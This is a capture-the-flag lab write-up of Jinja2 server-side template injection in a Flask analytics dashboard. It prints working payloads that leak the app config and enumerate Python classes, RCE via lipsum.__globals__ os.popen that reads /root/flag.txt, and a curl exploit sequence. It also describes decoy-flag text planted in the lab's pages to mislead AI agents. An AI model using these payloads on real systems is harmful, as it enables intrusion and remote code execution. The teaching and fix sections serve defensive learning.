Lab 389 — PulseBoard — SSTI in Custom Widget Template Builder
Lab 389 — PulseBoard — SSTI in Custom Widget Template Builder
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: decoy_flag_recognition, flask_config_leak, jinja2_ssti_via_render_template_string, python_mro_chain_traversal, rce_via_lipsum_globals_os_popen
Summary
Task: Flask analytics dashboard (PulseBoard) with custom widget builder accepting Jinja2 template code; no sandboxing applied. Solution: inject {{7*7}} to confirm SSTI, escalate via lipsum.globals['os'].popen() for RCE, read /root/flag.txt.
Lab 389 — PulseBoard — SSTI in Custom Widget Template Builder — HackAdvisor
Description
PulseBoard is an AI-powered analytics dashboard platform built by PulseAI Inc. The application allows teams to connect data sources, build custom data visualizations, generate reports, and manage team access. PulseBoard recently launched a powerful custom widget builder that lets power users define their own display templates using the Jinja2 template engine for maximum flexibility in dashboard layouts.
Explore the application features and find a way to access sensitive server-side data that should not be exposed to regular users.
Credentials: user@test.com / password123
English summary: A Flask-based analytics dashboard with a custom widget builder that accepts raw Jinja2 template code. The template is rendered server-side via render_template_string() without sandboxing, enabling SSTI → config leak → RCE → flag exfiltration.
Analysis
Step 1 — Reconnaissance & Login
Logged in with user@test.com / password123 via POST /login. The application is a Flask web app (identified by session cookie format, Werkzeug headers, Jinja2 templating). The authenticated user is "Jordan Rivera" with Editor role.
Key application features discovered from navigation:
- Dashboard:
/— main analytics overview - Data Sources:
/datasources— connected data feeds - Widgets:
/widgets— custom dashboard widgets - Reports:
/reports— generated reports - Team:
/team— team member management - Settings:
/settings— user/app settings
Step 2 — Identifying the Attack Surface
The Widgets page (/widgets) has a "Create Widget" button leading to /widgets/create. The widget creation form supports 4 types:
- Chart
- Table
- Metric Card
- Custom Template ← attack vector
Selecting "Custom Template" reveals a template_body textarea that accepts raw Jinja2 template code. The template reference sidebar on the page explicitly states:
"Custom templates have access to the Jinja2 template context including
request,config, and other Flask globals."
This is a direct invitation to SSTI — the application openly passes user-controlled template code to the Jinja2 engine with full access to Flask's template context.
Step 3 — Anti-Bot Decoy Flag
Important: Every page in the application contains a hidden decoy flag embedded in HTML comments and hidden <div> elements:
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}
Surrounding text uses social engineering to convince automated scanners and AI agents that this is the real flag and they should stop searching. This is a honeypot — not the real flag.
Solution
Step 1 — Confirm SSTI
Created a custom template widget with the body:
{{7*7}}
Submitted via POST /widgets/create with parameters:
name=Test Widgettype=customtemplate_body={{7*7}}
Previewed the widget at /widgets/9/preview. The output rendered 49 — confirming Server-Side Template Injection with Jinja2.
Step 2 — Flask Config Leak
Escalated to dump the full Flask configuration:
jinja2 read-only • copy allowed{{ config.items()|list }}
This revealed the complete Flask config including:
SECRET_KEY: 51a02f37fa90b65415ccb250adf15ba243b6caeda9daead4da4c92f2a631aa7d- Various Flask internal settings
No flag was found in the config, so further escalation was needed.
Step 3 — Python Class Hierarchy Enumeration
Enumerated available Python subclasses via MRO (Method Resolution Order) chain traversal:
jinja2 read-only • copy allowed{{ ''.__class__.__mro__[1].__subclasses__() }}
This returned the full list of Python subclasses accessible from the template context, confirming the Jinja2 sandbox was not enabled.
Step 4 — Remote Code Execution
Achieved RCE using the lipsum global (a Jinja2 built-in) to access Python's os module:
jinja2 read-only • copy allowed{{ lipsum.__globals__['os'].popen('id').read() }}
Output:
uid=0(root) gid=0(root) groups=0(root)...
The application is running as root — no privilege escalation needed.
Step 5 — Flag Retrieval
Located the flag file:
jinja2 read-only • copy allowed{{ lipsum.__globals__['os'].popen('find / -name "flag*" 2>/dev/null | head -20').read() }}
Output: /root/flag.txt
Read the flag:
jinja2 read-only • copy allowed{{ lipsum.__globals__['os'].popen('cat /root/flag.txt').read() }}
Output: FLAG{REDACTED}
Full Exploit (curl one-liner)
bash read-only • copy allowed# Login and get session cookie curl -s -c cookies.txt -X POST https://TARGET/login \ -d "email=user@test.com&password=password123" # Create SSTI widget with RCE payload curl -s -b cookies.txt -X POST https://TARGET/widgets/create \ -d "name=exploit&type=custom&template_body=%7B%7B%20lipsum.__globals__%5B%27os%27%5D.popen(%27cat%20/root/flag.txt%27).read()%20%7D%7D" # Preview the widget to trigger template rendering curl -s -b cookies.txt https://TARGET/widgets/9/preview
Root Cause
The application passes user-supplied template code directly to Jinja2's render_template_string() without any sandboxing or filtering. Specifically:
- No Jinja2 SandboxedEnvironment: The standard
Environmentis used instead ofSandboxedEnvironment, giving templates full access to Python's object hierarchy. - No attribute blocklist: Dangerous dunder attributes (
__globals__,__class__,__mro__,__subclasses__) are not filtered. - No keyword blocklist: Dangerous functions and modules (
os,popen,subprocess,eval,exec) are not blocked. - Full Flask context exposed:
config,request, and other Flask globals are available in the template context. - Running as root: The Flask process runs as UID 0, so RCE immediately grants full system access.
Fix: Use jinja2.sandbox.SandboxedEnvironment, restrict available template variables, blocklist dangerous attribute access patterns, and never run web applications as root.